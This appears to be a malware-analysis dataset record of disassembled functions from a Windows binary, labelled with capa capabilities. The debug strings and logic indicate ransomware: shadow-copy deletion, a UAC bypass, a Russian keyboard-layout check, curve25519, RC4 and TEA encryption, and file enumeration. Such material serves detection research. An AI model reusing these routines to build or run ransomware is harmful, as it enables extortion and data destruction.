joyce8/EMBER2024-capa huggingface dataset:
Function at 0xbd1ea2
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
push esi
mov esi, 0xbe0d60
push esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
push str.delete_shadow_copy_r_n
push 8
call fcn.00bd1b2c
add esp, 0x10
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
call fcn.00bd28b7
mov ecx, 0x501
cmp ax, cx
ja 0xbd1f82
lea eax, [ebp - 0x14]
mov esi, 0xbdff48
push eax
push 0xe
push 6
push 0x5ab
push esi
call fcn.00bd3185
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0x180]
push eax
push 0x124
push 5
push 0x394
push esi
call fcn.00bd3185
add esp, 0x28
mov dword [ebp - 0x50], 0x3c
xor eax, eax
xor esi, esi
mov word [ebp - 0x5c], ax
mov dword [ebp - 0x4c], esi
call dword [sym.imp.user32.dll_GetForegroundWindow]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x180]
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.shell32.dll_ShellExecuteExW]
test eax, eax
je 0xbd1f6f
jmp 0xbd2018
push edi
lea eax, [ebp - 0x1c8]
push eax
push 0x16c
push 0xa
push 0x6c3
push 0xbdff48
call fcn.00bd3185
xor eax, eax
lea edi, [ebp - 0x10]
mov word [ebp - 0x5c], ax
xor esi, esi
mov dword [ebp - 0x14], esi
stosd dword es:[edi], eax
push 0x40
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
push eax
call fcn.00bd1cf7
add esp, 0x20
mov dword [ebp - 0x58], 0x44
call fcn.00bd27c8
pop edi
test eax, eax
je 0xbd1fdb
lea eax, [ebp - 4]
push eax
call dword [sym.imp.kernel32.dll_Wow64DisableWow64FsRedirection]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
lea eax, [ebp - 0x1c8]
push eax
push esi
call dword [sym.imp.kernel32.dll_CreateProcessW]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
call fcn.00bd27c8
test eax, eax
je 0xbd2018
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_Wow64RevertWow64FsRedirection]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xbd207e
Capabilities:
Get disk information
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor edx, edx
xor esi, esi
push 0x5a
mov dword [ebp - 4], edx
xor ebx, ebx
pop edi
test ebx, ebx
je 0xbd20bd
test esi, esi
je 0xbd2191
imul eax, esi, 0x16
push eax
call fcn.00bd1c41
mov edx, eax
mov dword [ebp - 4], edx
pop ecx
test edx, edx
je 0xbd2191
mov eax, dword [ebp + 8]
mov dword [eax], esi
xor esi, esi
mov ecx, dword [0xbdbd18]
mov eax, dword [0xbdbd1c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
cmp cx, di
ja 0xbd2183
imul eax, esi, 0x16
lea edi, [edx + 0xe]
add edi, eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetDriveTypeW]
push eax
mov dword [ebp - 8], eax
call fcn.00bd50b3
pop ecx
test eax, eax
je 0xbd216b
test ebx, ebx
je 0xbd2167
mov ax, word [ebp - 0x10]
mov word [edi - 0xe], ax
mov eax, dword [ebp - 8]
mov dword [edi - 0xc], eax
lea eax, [edi - 8]
push edi
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExW]
test eax, eax
jne 0xbd2167
push 0xbe0d60
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
pop ecx
pop ecx
call dword [sym.imp.ntdll.dll_RtlGetLastWin32Error]
push eax
push str.GetDiskFreeSpaceExW___last_error___08X_r_n
push 8
call fcn.00bd1b2c
add esp, 0xc
push 0xbe0d60
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi - 8], eax
mov dword [edi - 4], eax
inc esi
add edi, 0x16
mov ax, word [ebp - 0x10]
push 0x5a
inc ax
pop ecx
mov word [ebp - 0x10], ax
cmp ax, cx
jbe 0xbd20df
push ecx
pop edi
mov edx, dword [ebp - 4]
inc ebx
cmp ebx, 1
jg 0xbd2197
jmp 0xbd2093
mov eax, dword [ebp + 8]
and dword [eax], 0
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbd2681
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, 0xbe0d60
push ebx
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
push str.check_RU_speak.._r_n
push 8
call fcn.00bd1b2c
add esp, 0x10
push ebx
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
call fcn.00bd1d25
xor esi, esi
mov dword [ebp - 4], eax
push esi
push esi
call dword [sym.imp.user32.dll_GetKeyboardLayoutList]
mov edi, eax
test edi, edi
je 0xbd2714
mov ecx, edi
shl ecx, 2
push ecx
call fcn.00bd1c41
mov ebx, eax
pop ecx
test ebx, ebx
je 0xbd2714
push ebx
push edi
call dword [sym.imp.user32.dll_GetKeyboardLayoutList]
test eax, eax
je 0xbd270d
test edi, edi
jle 0xbd270d
mov ecx, dword [ebp - 4]
movzx eax, word [ebx + esi*4]
push eax
call fcn.00bd276b
add esp, 4
test eax, eax
je 0xbd2708
test ecx, ecx
jne 0xbd271d
inc esi
cmp esi, edi
jl 0xbd26f3
push ebx
call fcn.00bd1c8e
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, 0xbe0d60
push esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._ERR_
push 0xc
call fcn.00bd1b2c
push str.____IS_RU_____r_n
push 4
call fcn.00bd1b2c
push 0x4c3
push str.is_ru_speak
push 0xbdbc8c
push str._______S:_S:_lu_r_n
push 4
call fcn.00bd1b2c
add esp, 0x24
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
xor eax, eax
inc eax
jmp 0xbd2716

Function at 0xbd27c8
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.kernel32.dll_GetNativeSystemInfo]
xor eax, eax
cmp word [ebp - 0x24], 9
sete al
mov esp, ebp
pop ebp
ret

Function at 0xbd28d4
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push esi
push edi
xor edi, edi
push edi
push 2
call dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0xbd28f5
xor eax, eax
jmp 0xbd2945
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x22c], 0x22c
push eax
push esi
call dword [sym.imp.kernel32.dll_Process32FirstW]
jmp 0xbd2938
lea eax, [ebp - 0x22c]
push eax
push dword [ebp + 0xc]
call dword [ebp + 0x10]
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0xbd292a
cmp dword [ebp + 8], 0
jne 0xbd293c
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.kernel32.dll_Process32NextW]
test eax, eax
jne 0xbd290f
push esi
call fcn.00bd1e17
pop ecx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xbd2aac
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 1
push ebx
push dword [ebp + 0xc]
mov esi, ebx
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0xbd2b22
push edi
mov edi, dword [ebp + 0x18]
push edi
push ebx
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
jne 0xbd2b18
cmp dword [edi], ebx
je 0xbd2b18
push dword [edi]
call fcn.00bd1c41
mov esi, eax
pop ecx
test esi, esi
je 0xbd2b18
push edi
push esi
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
je 0xbd2b18
push esi
call fcn.00bd1c8e
pop ecx
mov esi, ebx
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xbd2b2a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
lea eax, [ebp - 4]
push esi
push eax
push esi
push 2
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegCreateKeyExW]
test eax, eax
jne 0xbd2b73
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegSetValueExW]
push dword [ebp - 4]
xor ecx, ecx
inc ecx
test eax, eax
cmove esi, ecx
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xbd2c40
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00bd2ff1
mov edi, eax
test edi, edi
jne 0xbd2c8c
mov esi, 0xbe0d60
push esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
pop ecx
pop ecx
call dword [sym.imp.ntdll.dll_RtlGetLastWin32Error]
push eax
push str.win_dir___last_error___08X_r_n
push 8
call fcn.00bd1b2c
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
xor eax, eax
jmp 0xbd2cef
push ebx
xor ebx, ebx
xor eax, eax
push ebx
push ebx
push ebx
push ebx
mov word [edi + 6], ax
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push edi
call dword [sym.imp.kernel32.dll_GetVolumeInformationW]
test eax, eax
jne 0xbd2ce4
mov esi, 0xbe0d60
push esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
pop ecx
pop ecx
call dword [sym.imp.ntdll.dll_RtlGetLastWin32Error]
push eax
push str.GetVolumeInformationW___last_error___08X_r_n
push 8
call fcn.00bd1b2c
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
mov dword [ebp - 4], ebx
push edi
call fcn.00bd1c8e
mov eax, dword [ebp - 4]
pop ecx
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xbd2d33
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
movzx eax, si
shr esi, 0x10
mov dword [ebp + 8], eax
xor eax, eax
mov bx, word [ebp + 8]
push edi
mov dword [ebp - 4], esi
mov di, si
mov dword [ebp - 8], 0x40
sub eax, 0x61c88647
movzx edx, ax
mov dword [ebp - 0xc], eax
mov ax, di
shr ax, 5
lea ecx, [edx + esi]
shl esi, 4
xor cx, ax
xor cx, si
add bx, cx
mov word [ebp + 8], bx
mov ax, bx
mov ecx, dword [ebp + 8]
add edx, ecx
shr ax, 5
xor dx, ax
shl ecx, 4
xor dx, cx
add di, dx
sub dword [ebp - 8], 1
mov word [ebp - 4], di
je 0xbd2daa
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
jmp 0xbd2d5b
mov al, byte [ebp + 8]
pop edi
pop esi
and al, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xbd2ece
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov esi, eax
call fcn.00bd28b7
mov ecx, 0x600
cmp ax, cx
jb 0xbd2fec
push esi
call fcn.00bd21a0
pop ecx
cmp eax, 3
jne 0xbd2fec
push esi
call fcn.00bd22a8
pop ecx
cmp eax, 0x3000
jae 0xbd2fec
push ebx
push edi
mov esi, 0xbe0d60
push esi
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
push str._DBG_
push 7
call fcn.00bd1b2c
push str.manual_UAC_bypass_r_n
push 8
call fcn.00bd1b2c
add esp, 0x10
push esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
call fcn.00bd2bcd
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
call fcn.00bd237b
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0xbd2f62
push ebx
call dword [sym.imp.kernel32.dll_ExitProcess_1]
call fcn.00bd27fa
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push 0xa
push 0xf
push 0x5c5
push 0xbdff48
call fcn.00bd3185
add esp, 0x14
mov dword [ebp - 0x4c], 0x3c
xor eax, eax
mov dword [ebp - 0x48], ebx
mov word [ebp - 6], ax
call dword [sym.imp.user32.dll_GetForegroundWindow]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.shell32.dll_ShellExecuteExW]
test eax, eax
je 0xbd2fc7
push esi
call fcn.00bd1c8e
push edi
call fcn.00bd1c8e
pop ecx
pop ecx
push ebx
call dword [sym.imp.kernel32.dll_ExitProcess_1]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xbd3081
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
xor ebx, ebx
push ebx
push ebx
push eax
push ebx
push 1
push ebx
push dword [ebp + 8]
mov dword [edi], ebx
call dword [sym.imp.crypt32.dll_CryptStringToBinaryW]
test eax, eax
je 0xbd30de
push esi
push dword [ebp + 0xc]
call fcn.00bd1c41
mov esi, eax
pop ecx
test esi, esi
je 0xbd30dd
push ebx
push ebx
lea eax, [ebp + 0xc]
push eax
push esi
push 1
push ebx
push dword [ebp + 8]
call dword [sym.imp.crypt32.dll_CryptStringToBinaryW]
test eax, eax
je 0xbd30d2
mov eax, dword [ebp + 0xc]
mov dword [edi], eax
jmp 0xbd30db
push esi
call fcn.00bd1c8e
pop ecx
mov esi, ebx
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0xbd30e2
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push edi
xor eax, eax
mov edi, 0x40000000
cmp dword [ebp + 0x10], eax
cmovne edi, eax
lea eax, [ebp + 0x10]
push eax
push 0
or edi, 1
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.crypt32.dll_CryptBinaryToStringW]
test eax, eax
je 0xbd3142
mov eax, dword [ebp + 0x10]
add eax, eax
push esi
push eax
call fcn.00bd1c41
mov esi, eax
pop ecx
test esi, esi
je 0xbd3141
lea eax, [ebp + 0x10]
push eax
push esi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.crypt32.dll_CryptBinaryToStringW]
test eax, eax
jne 0xbd313f
push esi
call fcn.00bd1c8e
pop ecx
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebp
ret

Function at 0xbd3145
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 0x1505
jmp 0xbd315b
imul eax, eax, 0x21
inc edx
movzx ecx, cl
add eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0xbd3152
pop ebp
ret

Function at 0xbd3163
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 0x1505
jmp 0xbd317b
imul eax, eax, 0x21
lea edx, [edx + 2]
movzx ecx, cx
add eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0xbd3170
pop ebp
ret

Function at 0xbd40d1
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0x20
push esi
call fcn.00bd4319
pop ecx
pop ecx
test eax, eax
je 0xbd40f6
mov al, byte [esi + 0x1f]
and byte [esi], 0xf8
and al, 0x3f
or al, 0x40
mov byte [esi + 0x1f], al
xor eax, eax
inc eax
pop esi
pop ebp
ret

Function at 0xbd410f
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 8]
mov eax, esi
mov byte [eax + edi], al
inc eax
cmp eax, 0x100
jb 0xbd411d
mov ecx, esi
mov dword [ebp - 4], esi
mov eax, ecx
mov bl, byte [ecx + edi]
xor edx, edx
movzx ecx, bl
div dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
movzx eax, byte [edx + eax]
add eax, esi
add ecx, eax
movzx esi, cl
mov ecx, dword [ebp - 4]
mov al, byte [esi + edi]
mov byte [ecx + edi], al
inc ecx
mov byte [esi + edi], bl
mov dword [ebp - 4], ecx
cmp ecx, 0x100
jb 0xbd412d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbd4167
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
mov eax, esi
test edi, edi
je 0xbd41d3
push ebx
mov ebx, dword [ebp + 0x14]
sub dword [ebp + 0xc], ebx
mov edx, dword [ebp + 8]
inc eax
movzx ecx, al
mov eax, dword [ebp + 8]
mov dword [ebp + 0x10], ecx
mov ebx, dword [ebp + 0x10]
mov cl, byte [ecx + eax]
movzx eax, cl
add eax, esi
movzx esi, al
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
mov byte [ebx + edx], al
mov eax, edx
mov edx, ebx
mov ebx, dword [ebp + 0x14]
mov byte [esi + eax], cl
movzx eax, byte [edx + eax]
mov edx, dword [ebp + 0xc]
movzx ecx, cl
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp + 8]
mov al, byte [eax + ecx]
xor al, byte [edx + ebx]
mov byte [ebx], al
inc ebx
mov eax, dword [ebp + 0x10]
mov dword [ebp + 0x14], ebx
sub edi, 1
jne 0xbd417e
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0xbd426a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0x10]
not ecx
test edx, edx
je 0xbd42a4
push esi
mov esi, dword [ebp + 0xc]
push edi
movzx eax, byte [esi]
dec edx
push 8
xor ecx, eax
inc esi
pop edi
mov eax, ecx
shr ecx, 1
and eax, 1
not eax
inc eax
and eax, 0xedb88320
xor ecx, eax
sub edi, 1
jne 0xbd4288
test edx, edx
jne 0xbd427e
pop edi
pop esi
not ecx
mov eax, ecx
pop ebp
ret

Function at 0xbd43fb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
test esi, esi
je 0xbd441d
push edi
mov edi, dword [ebp + 0xc]
mov edx, eax
sub edi, eax
mov cl, byte [edi + edx]
xor byte [edx], cl
inc edx
sub esi, 1
jne 0xbd4411
pop edi
pop esi
pop ebp
ret
Function at 0xbd48e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, 0x3c2
push ebx
push esi
mov esi, dword [ebp + 8]
xor esi, 0x5167
shl esi, 0x10
xor esi, dword [ebp + 8]
xor esi, 0x13b6
mov eax, esi
shr eax, 0x15
push edi
cmp eax, ecx
ja 0xbd4961
je 0xbd495a
sub eax, 0x32
je 0xbd4953
sub eax, 0x22a
je 0xbd494c
sub eax, 0x1e
je 0xbd4945
sub eax, 0x30
je 0xbd493e
sub eax, 6
je 0xbd4937
sub eax, 0xeb
jne 0xbd498e
mov eax, 0xbd47ef
jmp 0xbd49b4
mov eax, 0xbd4700
jmp 0xbd49b4
mov eax, 0xbd4772
jmp 0xbd49b4
mov eax, 0xbd47b7
jmp 0xbd49b4
mov eax, 0xbd4ad2
jmp 0xbd49b4
mov eax, 0xbd4b0b
jmp 0xbd49b4
mov eax, 0xbd482c
jmp 0xbd49b4
sub eax, 0x4d5
je 0xbd49af
sub eax, 0xc
je 0xbd49a8
sub eax, 0xd8
je 0xbd49a1
sub eax, 0xe2
je 0xbd499a
sub eax, 0x17
je 0xbd4993
sub eax, 0x108
jne 0xbd498e
mov eax, 0xbd4a60
jmp 0xbd49b4
mov eax, dword [ebp + 8]
jmp 0xbd49b4
mov eax, 0xbd4a27
jmp 0xbd49b4
mov eax, fcn.00bd47fb
jmp 0xbd49b4
mov eax, 0xbd4739
jmp 0xbd49b4
mov eax, 0xbd4a99
jmp 0xbd49b4
mov eax, 0xbd47ab
call eax
mov edi, eax
test edi, edi
je 0xbd4a0d
mov ecx, dword [edi + 0x3c]
and esi, 0x1fffff
xor ebx, ebx
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov eax, dword [ecx + 0x24]
mov edx, dword [ecx + 0x20]
add eax, edi
mov dword [ebp - 8], eax
add edx, edi
mov eax, dword [ecx + 0x1c]
add eax, edi
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0x18]
mov dword [ebp + 8], eax
test eax, eax
je 0xbd4a0d
mov eax, dword [edx + ebx*4]
add eax, edi
push eax
call fcn.00bd45d0
and eax, 0x1fffff
pop ecx
cmp eax, esi
je 0xbd4a16
mov edx, dword [ebp - 4]
inc ebx
cmp ebx, dword [ebp + 8]
jb 0xbd49ef
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
movzx eax, word [eax + ebx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
jmp 0xbd4a0f

Function at 0xbd4bdd
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov edi, ebx
mov dword [esi + 8], ebx
call fcn.00bd2892
test eax, 0x7fffffff
jbe 0xbd4c21
push ebx
push ebx
push esi
push dword [ebp + 0xc]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateThread]
test eax, eax
je 0xbd4c29
inc dword [esi + 8]
push eax
call fcn.00bd1e17
pop ecx
inc edi
call fcn.00bd2892
add eax, eax
cmp edi, eax
jb 0xbd4bf9
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret
xor eax, eax
jmp 0xbd4c24
Function at 0xbd4ced
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push esi
push 3
push 1
push 0x80000000
push dword [ebp + 8]
call fcn.00bd5042
mov ebx, eax
add esp, 0x14
test ebx, ebx
je 0xbd4d69
push edi
push 0x100000
call fcn.00bd1c41
mov edi, eax
pop ecx
test edi, edi
je 0xbd4d5f
mov dword [ebp - 8], esi
jmp 0xbd4d3f
cmp dword [ebp - 4], esi
je 0xbd4d55
push dword [ebp - 4]
push edi
push dword [ebp - 8]
call fcn.00bd426a
add esp, 0xc
mov dword [ebp - 8], eax
push esi
lea eax, [ebp - 4]
push eax
push 0x100000
push edi
push ebx
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0xbd4d28
push edi
call fcn.00bd1c8e
mov esi, dword [ebp - 8]
pop ecx
push ebx
call fcn.00bd1e17
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbd4e3b
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
mov ebx, eax
push eax
push esi
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call dword [edi + 4]
pop ecx
pop ecx
test eax, eax
je 0xbd5018
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.00bd510d
push ebx
push esi
push dword [edi + 0xc]
call dword [edi + 0x28]
add esp, 0x14
add dword [edi + 0x18], eax
adc dword [edi + 0x1c], edx
jmp 0xbd5015
mov eax, dword [ebp - 0x10]
or eax, dword [ebp - 0xc]
je 0xbd4ed3
push dword [ebx]
push esi
call fcn.00bd375b
mov esi, ebx
mov ebx, dword [ebx + 4]
mov dword [ebp - 8], ebx
push dword [esi]
call fcn.00bd1c8e
push esi
call fcn.00bd1c8e
mov eax, dword [ebp - 0x10]
add esp, 0x10
mov ecx, dword [ebp - 0xc]
add eax, 0xffffffff
mov dword [ebp - 0x10], eax
adc ecx, 0xffffffff
or eax, ecx
mov dword [ebp - 0xc], ecx
jne 0xbd4ecd
and dword [ebp - 4], eax
mov esi, dword [ebp + 8]
xor eax, eax
inc eax
test eax, eax
je 0xbd5037
push esi
call fcn.00bd3804
mov dword [esp], 0xbdbf70
push esi
mov dword [ebp - 0x14], eax
call fcn.00bd3654
pop ecx
pop ecx
lea eax, [ebp - 0x268]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindFirstFileW]
mov dword [ebp + 0xc], eax
cmp eax, 0xffffffff
je 0xbd5018
lea eax, [ebp - 0x23c]
push 0xbdb488
push eax
call fcn.00bd36fa
pop ecx
pop ecx
test eax, eax
je 0xbd4fef
lea eax, [ebp - 0x23c]
push 0xbdbf68
push eax
call fcn.00bd36fa
pop ecx
pop ecx
test eax, eax
je 0xbd4fef
test dword [ebp - 0x268], 0x400
jne 0xbd4fef
lea eax, [ebp - 0x23c]
push eax
mov eax, dword [ebp - 0x14]
lea eax, [esi + eax*2]
push eax
call fcn.00bd375b
test byte [ebp - 0x268], 0x10
pop ecx
pop ecx
je 0xbd4fb1
push 0xbdbf74
push esi
call fcn.00bd3654
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [edi + 4]
add esp, 0x10
test eax, eax
je 0xbd4fef
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.00bd510d
lea eax, [ebp - 0x23c]
push eax
push esi
push dword [edi + 0xc]
call dword [edi + 0x28]
add esp, 0x14
add dword [edi + 0x18], eax
adc dword [edi + 0x1c], edx
jmp 0xbd4fef
mov eax, dword [ebp - 0x24c]
mov ebx, dword [ebp - 0x248]
push eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x23c]
push ebx
push eax
push esi
call dword [edi + 8]
add esp, 0x10
test eax, eax
je 0xbd4fef
push dword [ebp - 0x18]
lea eax, [ebp - 0x23c]
push ebx
push eax
push esi
push dword [edi + 0x10]
call dword [edi + 0x2c]
add esp, 0x14
add dword [edi + 0x20], eax
adc dword [edi + 0x24], edx
cmp dword [edi], 0
jne 0xbd500c
lea eax, [ebp - 0x268]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.kernel32.dll_FindNextFileW]
test eax, eax
jne 0xbd4f0d
push dword [ebp + 0xc]
call dword [sym.imp.kernel32.dll_FindClose]
mov ebx, dword [ebp - 8]
cmp dword [edi], 0
je 0xbd4e8c
jmp 0xbd5037
mov esi, ebx
mov ebx, dword [ebx + 4]
push dword [esi]
call fcn.00bd1c8e
push esi
call fcn.00bd1c8e
pop ecx
pop ecx
test ebx, ebx
jne 0xbd5023
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret